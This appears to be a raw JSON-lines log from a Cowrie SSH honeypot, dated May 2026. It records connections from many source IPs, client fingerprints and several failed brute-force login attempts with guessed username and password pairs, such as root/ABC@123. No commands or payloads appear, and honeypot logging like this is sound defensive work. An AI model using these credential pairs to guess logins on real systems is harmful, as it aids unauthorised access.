{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:09.228818Z","src_ip":"92.191.96.70","session":"6cbe655d6eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:10.356641Z","src_ip":"92.191.96.70","session":"6cbe655d6eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":42184,"dst_ip":"159.203.135.109","dst_port":22,"session":"64b8dc955c36","protocol":"ssh","message":"New connection: 31.56.209.38:42184 (159.203.135.109:22) [session: 64b8dc955c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:10.713262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:10.717804Z","src_ip":"31.56.209.38","session":"64b8dc955c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:10.799982Z","src_ip":"31.56.209.38","session":"64b8dc955c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":48780,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d66ab68d8f","protocol":"ssh","message":"New connection: 159.195.79.219:48780 (10.17.0.5:22) [session: 26d66ab68d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.325408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.330002Z","src_ip":"159.195.79.219","session":"26d66ab68d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.419695Z","src_ip":"159.195.79.219","session":"26d66ab68d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":36310,"dst_ip":"159.203.135.109","dst_port":22,"session":"45b446e4b116","protocol":"ssh","message":"New connection: 185.153.231.45:36310 (159.203.135.109:22) [session: 45b446e4b116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.646439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.651941Z","src_ip":"185.153.231.45","session":"45b446e4b116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.781760Z","src_ip":"185.153.231.45","session":"45b446e4b116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nur","message":"login attempt [root/nur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:13.812981Z","src_ip":"159.195.79.219","session":"26d66ab68d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:14.336390Z","src_ip":"185.153.231.45","session":"45b446e4b116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:14.907167Z","src_ip":"159.195.79.219","session":"26d66ab68d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:15.468973Z","src_ip":"185.153.231.45","session":"45b446e4b116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:18.713495Z","src_ip":"31.56.209.38","session":"64b8dc955c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":36350,"dst_ip":"159.203.135.109","dst_port":22,"session":"77afe6984b25","protocol":"ssh","message":"New connection: 107.0.200.227:36350 (159.203.135.109:22) [session: 77afe6984b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:24.641635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:24.646913Z","src_ip":"107.0.200.227","session":"77afe6984b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:24.685580Z","src_ip":"107.0.200.227","session":"77afe6984b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:24.854011Z","src_ip":"107.0.200.227","session":"77afe6984b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:25.890703Z","src_ip":"107.0.200.227","session":"77afe6984b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.26.174","src_port":37242,"dst_ip":"159.203.135.109","dst_port":22,"session":"679d073ed81e","protocol":"ssh","message":"New connection: 103.243.26.174:37242 (159.203.135.109:22) [session: 679d073ed81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:26.501294Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:26.507231Z","src_ip":"103.243.26.174","session":"679d073ed81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":47190,"dst_ip":"159.203.135.109","dst_port":22,"session":"e476f1a9d061","protocol":"ssh","message":"New connection: 125.16.27.190:47190 (159.203.135.109:22) [session: e476f1a9d061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:36.357331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:36.361967Z","src_ip":"125.16.27.190","session":"e476f1a9d061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:36.679167Z","src_ip":"125.16.27.190","session":"e476f1a9d061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:37.941904Z","src_ip":"125.16.27.190","session":"e476f1a9d061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:39.236817Z","src_ip":"125.16.27.190","session":"e476f1a9d061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":39098,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa84b515ca2","protocol":"ssh","message":"New connection: 81.192.46.49:39098 (159.203.135.109:22) [session: 6fa84b515ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:40.583625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:40.591608Z","src_ip":"81.192.46.49","session":"6fa84b515ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:40.706902Z","src_ip":"81.192.46.49","session":"6fa84b515ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABC@123.","message":"login attempt [root/ABC@123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:41.198138Z","src_ip":"81.192.46.49","session":"6fa84b515ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:42.316698Z","src_ip":"81.192.46.49","session":"6fa84b515ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":51546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de6a75ca77d","protocol":"ssh","message":"New connection: 175.107.32.186:51546 (10.17.0.5:22) [session: 4de6a75ca77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:44.710814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:44.715693Z","src_ip":"175.107.32.186","session":"4de6a75ca77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:44.938699Z","src_ip":"175.107.32.186","session":"4de6a75ca77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2091","message":"login attempt [root/2091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:45.861472Z","src_ip":"175.107.32.186","session":"4de6a75ca77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:47.088114Z","src_ip":"175.107.32.186","session":"4de6a75ca77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":47150,"dst_ip":"10.17.0.5","dst_port":22,"session":"4593e2a61fc6","protocol":"ssh","message":"New connection: 111.32.153.180:47150 (10.17.0.5:22) [session: 4593e2a61fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:55.025994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:55.033975Z","src_ip":"111.32.153.180","session":"4593e2a61fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:55.299215Z","src_ip":"111.32.153.180","session":"4593e2a61fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":46180,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dafebb195b8","protocol":"ssh","message":"New connection: 185.153.231.45:46180 (159.203.135.109:22) [session: 5dafebb195b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:57.045779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:57.049958Z","src_ip":"185.153.231.45","session":"5dafebb195b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avila","message":"login attempt [root/avila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:24:57.140395Z","src_ip":"111.32.153.180","session":"4593e2a61fc6","protocol":"ssh"}
